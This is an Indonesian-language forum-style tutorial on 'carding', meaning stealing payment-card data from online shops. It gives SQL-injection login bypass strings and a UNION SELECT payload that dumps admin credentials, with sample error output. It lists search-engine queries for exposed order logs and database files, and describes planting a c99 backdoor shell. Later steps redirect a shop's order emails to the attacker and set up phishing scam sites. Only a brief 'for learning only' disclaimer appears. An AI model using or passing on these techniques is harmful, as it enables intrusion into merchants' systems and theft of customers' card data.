yang pasti anda udah tau semua dengan
apa itu carding. Ini hal yang sangat menarik untuk di bahas dalam
masalah ini. Ada beberapa teknik yang perlu anda ketahui tentang
bagaimana itu carding. Pertama, gw akan jelaskan beberapa teknik menarik
yang patut anda pelajari.
Udah lom ne gw ceramahnya.. Wkwkwkw.. Oke
dah lanjut ya kita mulai, jangan lupa bilang terima kasih banyak sama
paman google ya ( search engine yang pasti gw gunain dan menjadi guru
dari pembelajaran dalam hal ini ).. Lets Go:
1. Teknik Dengan
Menggunakan User & Password Admin Default � SQL Injection Basic
#
Teknik ini menggunakan kelemahan dari SQL Injection String Login,
caranya cukup mudah hanya dengan memasukkan code di bawah ini pada user
dan password pada login di website store admin. Adapun code user dan
password itu diantaranya:
admin:� or a=a�
admin:� or 1=1�
user:�
or 1=1�
admin:� or 1=1�
dsb
Contoh:
Silakan cari di
google keyword: �/shopadmin.asp� or �/adminshop.asp� or �/shopadm.asp�
or �/shoppingadmin.asp�
Misal target :
http://www.namasitusnya.com/shop/admin/shopadmin.asp
Silakan
masukkan kombinasi kombinasi password yang telah saya sebutkan diatas,
klo masuk berarti anda berhasil :)
2. Shopping Order Log �
Informasi Log Order di Server
# Ini sangat mudah untuk di dapatkan,
ada berbagai log yang tersimpan di berbagai server. Bisanya dalam bentuk
*.log, *.rtf, *.txt, *.xls, dsb. Nah bagaimana mendapatkan informasi
ini di web target. Itu tergantung dari imajinasi anda untuk
menemukannya. Biasanya ini di server berbasis .cgi, .asp, .php, dsb.
Contoh:
Silakan
cari di google keyword: �order.txt� or �order.log� or �order.asp� or
�order.cgi�
atau inurl:order filetype:txt / inurl:order filetype:log
dsb.
Misal target:
http://www.namasitusnya.net/shop/admin/log/order.log
http://www.namasitusnya.org/shop/order.cgi?dir=./order/order.log
http://www.namasitusnya.la/shopping/DCShop/orders/orders.txt
Selamat
menemukan :)
3. Database Information � Database Source Location �
Database Path
# Pada bagian ini, kita mendapatkan informasi lokasi
database. Sehingga kita bisa mendownload database yang ada di server.
Kebanyakan yang include di server .mdb.
Contoh:
Silakan cari
di google keyword: �*.mdb� or �order.mdb� or �database.mdb�
atau
menggunakan info DB: inurl: ESHOP, Lobby.asp, Proddetail.asp dsb.
Misal
target:
http://www.namasitusnya.com/shop/shopadmin/database.mdb
http://www.namasitusnya.org//cgi-bin/eshop/database/order.mdb
http://www.namasitusnya.com/fpdb/shop.mdb
http://www.namasitusnya.com/shopping/data/vsproducts.mdb
Selamat
mencari.. ^^
4. SQL Injection Advanced Shop Vulnreabilty
#
Dibagian ini, akan dijelaskan mengenai teknik teknik menngunakan SQL
Injection. Menggunakan sedikit kombinasi: union, join, select, update,
dsb. Pada tutorial ini, diharapkan anda sudah bisa menggunakan SQL
Injection sebelumnya.
Contoh:
Silakan Buka Google dgn key:
�product_details.php?item_id=� or �products_rss.php� dsb
http://www.targetnya.com/shop/product_details.php?item_id=13
Ganti
tulisan itu dengan :
products_rss.php?category_id=1' UNION SELECT
concat(login,char(58)
,password),0 FROM va_admins � /*
jadi
:http://www.targetnya.com/shop/products_rss.php?category_id=1
� UNION
SELECT concat(login,char(58),password),0 FROM va_admins � /*
dah
kalo ada yang errornya kaya gini :
[color=Red]DB ERROR
1064[/color]
[code]We are very sorry, but an error has occurred
while processing your request. Please try the operation again by either
pressing the Refresh button on your browser, or by going back one page
using the Back button. If the error persists, please contact our web
development team.
The details of the error are shown below.
Please quote this in any correspondance regarding this problem.
Page
URL:
[url]http://www.targetnya.com/shop/products_rss.php?category_id=1�%20UNION[/url]
%20SELECT%20concat(login,char(58),password),0%20FROM%20va_admins%20�%20/*
Referrer
URL:
Database error: Invalid SQL: SELECT i.item_id, i.item_type_id,
i.item_code, i.item_name, i.friendly_url, i.short_description,
i.small_image, i.small_image_alt, i.big_image, i.big_image_alt, i.price,
i.is_sales, i.sales_price, i.is_points_price, i.points_price,
i.buy_link, i.is_sales, i.full_description, i.manufacturer_code,
i.issue_date, ic.category_id, c.category_name, c.short_description AS
category_short_description, c.full_description AS
category_full_description FROM ((va_items i INNER JOIN
va_items_categories ic ON i.item_id=ic.item_id AND ic.category_id IN (1'
UNION SELECT concat(login,char(58),password),0 FROM va_admins �
/*,Admin:cca293929882ad831bf724a2589f1e20)) LEFT JOIN va_categories c ON
c.category_id = ic.category_id ) WHERE i.is_showing = 1 GROUP BY
i.item_id ORDER BY i.item_order, i.item_id
MySQL Error: You have an
error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near � UNION SELECT
concat(login,char(58),password),0 FROM va_admins � /*,Admin:cca2' at
line 1
Nah klo udah jangan lupa decrypt passwordnya ya Smile
5.
Admin Shop Send Mail Order
# Ini bagian sangat simple, pertama tama
anda harus tau dulu database administrator. Biasanya ada di config shop
adminnya.
Contoh:
Cari target inject di google, sampe dapet,
sampe bisa jalanin rshell / c99 / backdoor lainya.
Misal target:
http://www.namasitusnya.com/admin/shop/r...oorloe.php
Nah,
kan udah masuk tuh di shellnya dia. trus cari config filenya sampe
ketemu: config.php, db.php, configuration.php, database.php, db.asp,
dsb. Trus buka / cat file tersebut sampe ketemu isi confignya seperti:
var
$dbtype = �mysql�;
var $host = �localhost�;
var $user =
�shop24_admin�;
var $db = �shopsex_site�;
var $mailer = �mail�;
var
$ordermailsendto = �ben@netboost.com.au�;
Nah pada bagian ini
�var $ordermailsendto = �ben@netboost.com.au�;�, di confignya ganti ajah
ama email loe, misal di ganti ke: �var $ordermailsendto =
�carding@gwdapetcarding.com�;�.
Nah tinggal tunggu dah tu di email
loe hasil ordernya. Simple tapi maknyuz.. Hahaha..
6. Phising
& Scaming
# Tram.. Inilah yang paling banyak dilakukan oleh orang
orang jaman sekarang. Hahaha.. Phising & scaming. Gampang banget
ni.. Loe bisa aje bikin situs fake, pura pura jualan. Tapi sebenernya
loe ambil data data card dari sang target. Namun ada beberapa syarat
yang harus di penuhin. Syaratnya: Loe harus punya domain sendiri yang
meyakinkan. Artinya, di halaman depan udah terdaftar trade mark website
loe yang bikin si korban percaya bahwa site ini beneran, bukan scam.
Coba klo di web inject, kan agak runyam. kebanyakan 90% gagal klo di web
hasil inject. Scam & phising udah banyak di jelasin. So u pasti
tahu donk gmn caranya.
Pertama, loe harus download source lengkap
untuk scam + phising loe. trus loe install deh di server loe. Hasilnya
silakan tunggu di email, soalnya biasanya klo scam set kirimnya ke email
sang owner.
Silahkan berselancar dengan sepus
hati....!!!!!!!!!
Ini merupakan pembelajaran saja. segala resiko
ditanggung oleh anda sendiri.